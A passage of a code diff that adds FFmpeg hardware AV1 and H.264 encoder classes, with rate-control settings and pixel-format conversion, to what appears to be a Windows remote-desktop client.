m_ctx = avcodec_alloc_context3(codec);
|
||||||
|
if (!m_ctx) {
|
||||||
|
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ctx->width = p.width & ~1;
|
||||||
|
m_ctx->height = p.height & ~1;
|
||||||
|
m_ctx->time_base = AVRational{1, p.fps};
|
||||||
|
m_ctx->framerate = AVRational{p.fps, 1};
|
||||||
|
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||||
|
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
|
||||||
|
m_ctx->max_b_frames = 0;
|
||||||
|
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||||
|
|
||||||
|
// RC 策略与 H.264 路径对齐:peak-constrained VBR,远控静态画面省带宽。
|
||||||
|
if (strcmp(name, "av1_nvenc") == 0) {
|
||||||
|
// av1_nvenc preset p1~p7;远控 p5 兼顾质量与速度。
|
||||||
|
// tile-columns=1 把帧切两列,解码端并行更友好(浏览器 AV1 解码常用 SIMD/多线程)
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "p5", name);
|
||||||
|
setOpt(m_ctx->priv_data, "tune", "ll", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "vbr", name);
|
||||||
|
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
|
||||||
|
} else if (strcmp(name, "av1_amf") == 0) {
|
||||||
|
// av1_amf 选项命名与 h264_amf 大体一致,rc 同样支持 vbr_peak
|
||||||
|
// (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
|
||||||
|
setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
|
||||||
|
setOpt(m_ctx->priv_data, "quality", "quality", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "vbaq", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
|
||||||
|
} else if (strcmp(name, "av1_qsv") == 0) {
|
||||||
|
// av1_qsv:bit_rate < max_rate 时自动 VBR
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "slow", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "low_power", 0, name);
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_open2(m_ctx, codec, nullptr);
|
||||||
|
if (ret < 0) {
|
||||||
|
// 找到了但开不起来:无对应 GPU / 驱动太旧 / 跨适配器
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(ret, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame = av_frame_alloc();
|
||||||
|
if (!m_frame) return false;
|
||||||
|
m_frame->format = AV_PIX_FMT_NV12;
|
||||||
|
m_frame->width = m_ctx->width;
|
||||||
|
m_frame->height = m_ctx->height;
|
||||||
|
if (av_frame_get_buffer(m_frame, 32) < 0) {
|
||||||
|
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_packet = av_packet_alloc();
|
||||||
|
return m_packet != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegAV1Encoder::setBitrate(int kbps) {
|
||||||
|
if (!m_ctx) return;
|
||||||
|
m_ctx->bit_rate = (int64_t)kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(kbps * 1000);
|
||||||
|
// 同 H.264 路径:多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效;
|
||||||
|
// 这里仅更新数值,下次 open 时生效。
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
int direction)
|
||||||
|
{
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int y_size = w * h;
|
||||||
|
int uv_size = (w / 2) * (h / 2);
|
||||||
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
|
|
||||||
|
uint8_t* y = m_i420Scratch.data();
|
||||||
|
uint8_t* u = y + y_size;
|
||||||
|
uint8_t* v = u + uv_size;
|
||||||
|
|
||||||
|
if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
|
||||||
|
return -1;
|
||||||
|
if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, h) != 0)
|
||||||
|
return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegAV1Encoder::encode(
|
||||||
|
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||||
|
{
|
||||||
|
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||||
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int signed_height = direction * h;
|
||||||
|
|
||||||
|
if (bpp == 32) {
|
||||||
|
if (libyuv::ARGBToNV12(
|
||||||
|
rgb, stride,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, signed_height) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame->pts = m_pts++;
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_send_frame(m_ctx, m_frame);
|
||||||
|
if (ret < 0) return -3;
|
||||||
|
|
||||||
|
ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||||
|
if (ret == AVERROR(EAGAIN)) {
|
||||||
|
*lppData = nullptr;
|
||||||
|
*lpSize = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ret < 0) return -4;
|
||||||
|
|
||||||
|
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||||
|
*lppData = m_outputBuffer.data();
|
||||||
|
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||||
|
av_packet_unref(m_packet);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
62
client/CFFmpegAV1Encoder.h
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
struct AVCodecContext;
|
||||||
|
struct AVFrame;
|
||||||
|
struct AVPacket;
|
||||||
|
|
||||||
|
// FFmpeg 硬编 AV1 实现。
|
||||||
|
// 后端探测顺序:av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
|
||||||
|
// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
|
||||||
|
// 硬件时 open 全部失败,由 EncoderFactory 自动回退到 H.264 路径。
|
||||||
|
//
|
||||||
|
// 注意:FFmpeg 7.1 没有 av1_mf 兜底,因此本类的探测列表比 H.264 短一项。
|
||||||
|
class CFFmpegAV1Encoder : public VideoEncoderBase
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CFFmpegAV1Encoder();
|
||||||
|
~CFFmpegAV1Encoder() override;
|
||||||
|
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
|
|
||||||
|
int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) override;
|
||||||
|
|
||||||
|
void forceIDR() override { m_forceIDR = true; }
|
||||||
|
void setBitrate(int kbps) override;
|
||||||
|
VideoCodec codec() const override { return VideoCodec::AV1; }
|
||||||
|
const char* backendName() const override { return m_backend.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||||
|
void cleanupCodec();
|
||||||
|
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height, int direction);
|
||||||
|
|
||||||
|
AVCodecContext* m_ctx = nullptr;
|
||||||
|
AVFrame* m_frame = nullptr;
|
||||||
|
AVPacket* m_packet = nullptr;
|
||||||
|
std::vector<uint8_t> m_outputBuffer;
|
||||||
|
std::vector<uint8_t> m_i420Scratch;
|
||||||
|
int64_t m_pts = 0;
|
||||||
|
bool m_forceIDR = false;
|
||||||
|
std::string m_backend;
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
299
client/CFFmpegH264Encoder.cpp
Normal file
@@ -0,0 +1,299 @@
|
|||||||
|
#include "CFFmpegH264Encoder.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
|
||||||
|
// 都不进编译单元,FFmpeg 静态库不会被链接进二进制
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
extern "C" {
|
||||||
|
#include <libavcodec/avcodec.h>
|
||||||
|
#include <libavutil/opt.h>
|
||||||
|
#include <libavutil/imgutils.h>
|
||||||
|
#include <libyuv/libyuv.h>
|
||||||
|
}
|
||||||
|
|
||||||
|
#include <string.h>
|
||||||
|
#include <cstdlib>
|
||||||
|
|
||||||
|
// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入,由 _WIN64 守护。
|
||||||
|
// FFmpeg 三个核心库是纯 C,CRT 中性,Debug/Release 共用一份。
|
||||||
|
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||||
|
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||||
|
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||||
|
// dav1d (AV1 软解,C 项目) —— 不分 Debug/Release。
|
||||||
|
// build 时启用了 --enable-libdav1d,libavcodec 内部 av1 decoder 引用了 dav1d 符号。
|
||||||
|
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
|
||||||
|
// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致,必须按 _DEBUG 切。
|
||||||
|
// build 时启用了 --enable-libvpl,libavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib,"ffmpeg/vpl_x64.lib")
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#pragma comment(lib, "mfplat.lib")
|
||||||
|
#pragma comment(lib, "mfuuid.lib")
|
||||||
|
#pragma comment(lib, "strmiids.lib")
|
||||||
|
#pragma comment(lib, "secur32.lib")
|
||||||
|
#pragma comment(lib, "bcrypt.lib")
|
||||||
|
#pragma comment(lib, "advapi32.lib")
|
||||||
|
#pragma comment(lib, "ole32.lib")
|
||||||
|
// ws2_32 在 IOCPClient.h 已 link,重复不冲突
|
||||||
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
|
// av_opt_set wrappers:FFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
|
||||||
|
// 不报错,导致 encoder 退回默认行为且没人察觉(实际踩过:AMF rc=vbr_peak_constrained
|
||||||
|
// 拼成全名,FFmpeg 实际只接受 vbr_peak,没设上去就退回 CBR)。
|
||||||
|
// 包一层 helper,任何设置失败 Mprintf 警告。
|
||||||
|
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
|
||||||
|
int rc = av_opt_set(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
|
||||||
|
name, val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
|
||||||
|
int rc = av_opt_set_int(obj, name, val, 0);
|
||||||
|
if (rc < 0) {
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
|
||||||
|
name, (long long)val, backend, rc, errbuf);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 后端探测顺序:NVIDIA > Intel > AMD > Windows MF 兜底。
|
||||||
|
// open() 主循环按顺序试,第一个 avcodec_open2 成功的就用。
|
||||||
|
// h264_mf 质量/稳定性一般,但是 Windows 系统级 hwaccel,任何 GPU 都能尝试,作最后兜底。
|
||||||
|
static const char* kH264Backends[] = {
|
||||||
|
"h264_nvenc", // NVIDIA NVENC
|
||||||
|
"h264_qsv", // Intel Quick Sync Video
|
||||||
|
"h264_amf", // AMD AMF
|
||||||
|
"h264_mf", // Windows Media Foundation
|
||||||
|
};
|
||||||
|
|
||||||
|
CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
|
||||||
|
|
||||||
|
CFFmpegH264Encoder::~CFFmpegH264Encoder() {
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegH264Encoder::cleanupCodec() {
|
||||||
|
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
|
||||||
|
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
|
||||||
|
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegH264Encoder::close() {
|
||||||
|
cleanupCodec();
|
||||||
|
m_backend.clear();
|
||||||
|
m_pts = 0;
|
||||||
|
m_forceIDR = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegH264Encoder::open(const EncoderParams& params) {
|
||||||
|
close();
|
||||||
|
for (const char* name : kH264Backends) {
|
||||||
|
if (tryOpenBackend(name, params)) {
|
||||||
|
m_backend = name;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
cleanupCodec(); // 释放本次失败的 ctx,准备下一次尝试
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||||
|
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||||
|
if (!codec) {
|
||||||
|
// 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
|
||||||
|
Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_ctx = avcodec_alloc_context3(codec);
|
||||||
|
if (!m_ctx) {
|
||||||
|
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 偶数对齐(与 x264 路径 i_width/i_height & 0xfffffffe 一致)
|
||||||
|
m_ctx->width = p.width & ~1;
|
||||||
|
m_ctx->height = p.height & ~1;
|
||||||
|
m_ctx->time_base = AVRational{1, p.fps};
|
||||||
|
m_ctx->framerate = AVRational{p.fps, 1};
|
||||||
|
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||||
|
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
|
||||||
|
m_ctx->max_b_frames = 0;
|
||||||
|
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||||
|
|
||||||
|
// RC 策略选择:远程办公 90% 时间是静态画面(文档/IDE/邮件),CBR 会强行
|
||||||
|
// 把目标码率填满(静态用不上的部分浪费带宽)。所有硬编后端统一改用 VBR,
|
||||||
|
// bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限:静态时 encoder 自动
|
||||||
|
// 降码率省带宽,动态时回到目标 + 短暂上探到 1.5x 保证画质。
|
||||||
|
// 接近 x264 软编 CRF + VBV 的行为,但严格守住峰值不爆。
|
||||||
|
if (strcmp(name, "h264_nvenc") == 0) {
|
||||||
|
// NVENC preset: p1(最快/低质) ~ p7(最慢/高质),远控低延迟 p5 兼顾。
|
||||||
|
// tune=ll low-latency;rc=vbr 配 max_rate 实现峰值受限的 VBR。
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "p5", name);
|
||||||
|
setOpt(m_ctx->priv_data, "tune", "ll", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "vbr", name);
|
||||||
|
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
|
||||||
|
} else if (strcmp(name, "h264_qsv") == 0) {
|
||||||
|
// Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
|
||||||
|
// QSV 当 bit_rate != rc_max_rate 时自动走 VBR,所以这里只需调 preset。
|
||||||
|
// preset=slow 比 medium 慢但画质好,async_depth=1 单帧立即出包。
|
||||||
|
// low_power=0 走 PAK 路径,部分集显不支持 low_power 模式。
|
||||||
|
setOpt(m_ctx->priv_data, "preset", "slow", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "low_power", 0, name);
|
||||||
|
} else if (strcmp(name, "h264_amf") == 0) {
|
||||||
|
// AMD AMF 远控低延迟配置:
|
||||||
|
// usage=ultralowlatency 比 lowlatency 更激进,关闭一切 lookahead;
|
||||||
|
// quality=speed 选最快编码路径(vs balanced/quality);
|
||||||
|
// rc=cbr 提供最可预测的输出节拍,避免 RC 切换抖动。
|
||||||
|
// 静态画面省码率交给应用层 skip 检测(ScreenCapture::GetNextScreenData
|
||||||
|
// 已经过 memcmp 把无变化帧直接拦在编码器之前),不再依赖 vbaq/preanalysis
|
||||||
|
// 这些会引入 30-100ms lookahead 的"省码率三件套"。
|
||||||
|
setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
|
||||||
|
setOpt(m_ctx->priv_data, "quality", "speed", name);
|
||||||
|
setOpt(m_ctx->priv_data, "rc", "cbr", name);
|
||||||
|
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
|
||||||
|
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
|
||||||
|
} else if (strcmp(name, "h264_mf") == 0) {
|
||||||
|
// Windows Media Foundation 兜底。rate_control 实际值(ffmpeg -h encoder=h264_mf):
|
||||||
|
// default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
|
||||||
|
// 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
|
||||||
|
setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
|
||||||
|
setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_open2(m_ctx, codec, nullptr);
|
||||||
|
if (ret < 0) {
|
||||||
|
// 失败 = encoder 找到了但开不起来。常见:无 NVIDIA GPU / 驱动太旧 /
|
||||||
|
// NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
|
||||||
|
char errbuf[128] = {0};
|
||||||
|
av_strerror(ret, errbuf, sizeof(errbuf));
|
||||||
|
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame = av_frame_alloc();
|
||||||
|
if (!m_frame) return false;
|
||||||
|
m_frame->format = AV_PIX_FMT_NV12;
|
||||||
|
m_frame->width = m_ctx->width;
|
||||||
|
m_frame->height = m_ctx->height;
|
||||||
|
if (av_frame_get_buffer(m_frame, 32) < 0) {
|
||||||
|
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_packet = av_packet_alloc();
|
||||||
|
return m_packet != nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CFFmpegH264Encoder::setBitrate(int kbps) {
|
||||||
|
if (!m_ctx) return;
|
||||||
|
m_ctx->bit_rate = (int64_t)kbps * 1000;
|
||||||
|
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
|
||||||
|
m_ctx->rc_buffer_size = (int)(kbps * 1000);
|
||||||
|
// 注意:FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效;
|
||||||
|
// 这里只更新数值,下次 open 时才生效。Step 1 不依赖动态调码率。
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
int direction)
|
||||||
|
{
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int y_size = w * h;
|
||||||
|
int uv_size = (w / 2) * (h / 2);
|
||||||
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
|
|
||||||
|
uint8_t* y = m_i420Scratch.data();
|
||||||
|
uint8_t* u = y + y_size;
|
||||||
|
uint8_t* v = u + uv_size;
|
||||||
|
|
||||||
|
if (libyuv::RGB24ToI420(
|
||||||
|
rgb, stride,
|
||||||
|
y, w,
|
||||||
|
u, w / 2,
|
||||||
|
v, w / 2,
|
||||||
|
w, signed_height) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (libyuv::I420ToNV12(
|
||||||
|
y, w,
|
||||||
|
u, w / 2,
|
||||||
|
v, w / 2,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, h) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int CFFmpegH264Encoder::encode(
|
||||||
|
uint8_t* rgb, uint8_t bpp, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height,
|
||||||
|
uint8_t** lppData, uint32_t* lpSize, int direction)
|
||||||
|
{
|
||||||
|
if (!m_ctx || !m_frame || !m_packet) return -1;
|
||||||
|
if (av_frame_make_writable(m_frame) < 0) return -1;
|
||||||
|
|
||||||
|
int w = (int)width;
|
||||||
|
int h = (int)height;
|
||||||
|
int signed_height = direction * h;
|
||||||
|
|
||||||
|
if (bpp == 32) {
|
||||||
|
if (libyuv::ARGBToNV12(
|
||||||
|
rgb, stride,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
w, signed_height) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else if (bpp == 24) {
|
||||||
|
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
m_frame->pts = m_pts++;
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_I;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int ret = avcodec_send_frame(m_ctx, m_frame);
|
||||||
|
if (ret < 0) return -3;
|
||||||
|
|
||||||
|
ret = avcodec_receive_packet(m_ctx, m_packet);
|
||||||
|
if (ret == AVERROR(EAGAIN)) {
|
||||||
|
// 首帧延迟:本次没出包,调用方按 lpSize==0 跳过本帧
|
||||||
|
*lppData = nullptr;
|
||||||
|
*lpSize = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (ret < 0) return -4;
|
||||||
|
|
||||||
|
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
|
||||||
|
*lppData = m_outputBuffer.data();
|
||||||
|
*lpSize = (uint32_t)m_outputBuffer.size();
|
||||||
|
av_packet_unref(m_packet);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
62
client/CFFmpegH264Encoder.h
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
|
||||||
|
struct AVCodecContext;
|
||||||
|
struct AVFrame;
|
||||||
|
struct AVPacket;
|
||||||
|
|
||||||
|
// FFmpeg 硬编 H.264 实现。
|
||||||
|
// Step 1: 仅探测 h264_nvenc 单后端,足以验证 FFmpeg 静态库集成链路。
|
||||||
|
// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
|
||||||
|
//
|
||||||
|
// 输入像素:BGRA (bpp=32) / RGB24 (bpp=24),与 CX264Encoder 完全一致;
|
||||||
|
// 内部转 NV12 喂给 FFmpeg encoder。
|
||||||
|
class CFFmpegH264Encoder : public VideoEncoderBase
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CFFmpegH264Encoder();
|
||||||
|
~CFFmpegH264Encoder() override;
|
||||||
|
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
|
|
||||||
|
int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) override;
|
||||||
|
|
||||||
|
void forceIDR() override { m_forceIDR = true; }
|
||||||
|
void setBitrate(int kbps) override;
|
||||||
|
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||||
|
const char* backendName() const override { return m_backend.c_str(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
bool tryOpenBackend(const char* name, const EncoderParams& p);
|
||||||
|
void cleanupCodec();
|
||||||
|
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
|
||||||
|
uint32_t width, uint32_t height, int direction);
|
||||||
|
|
||||||
|
AVCodecContext* m_ctx = nullptr;
|
||||||
|
AVFrame* m_frame = nullptr;
|
||||||
|
AVPacket* m_packet = nullptr;
|
||||||
|
std::vector<uint8_t> m_outputBuffer; // encode 返回给调用方的缓冲(持有到下一次 encode)
|
||||||
|
std::vector<uint8_t> m_i420Scratch; // RGB24 路径的中间缓冲
|
||||||
|
int64_t m_pts = 0;
|
||||||
|
bool m_forceIDR = false;
|
||||||
|
std::string m_backend; // 实际选中的后端名("h264_nvenc" / ...)
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
|
||||||
@@ -124,7 +124,7 @@
|
|||||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
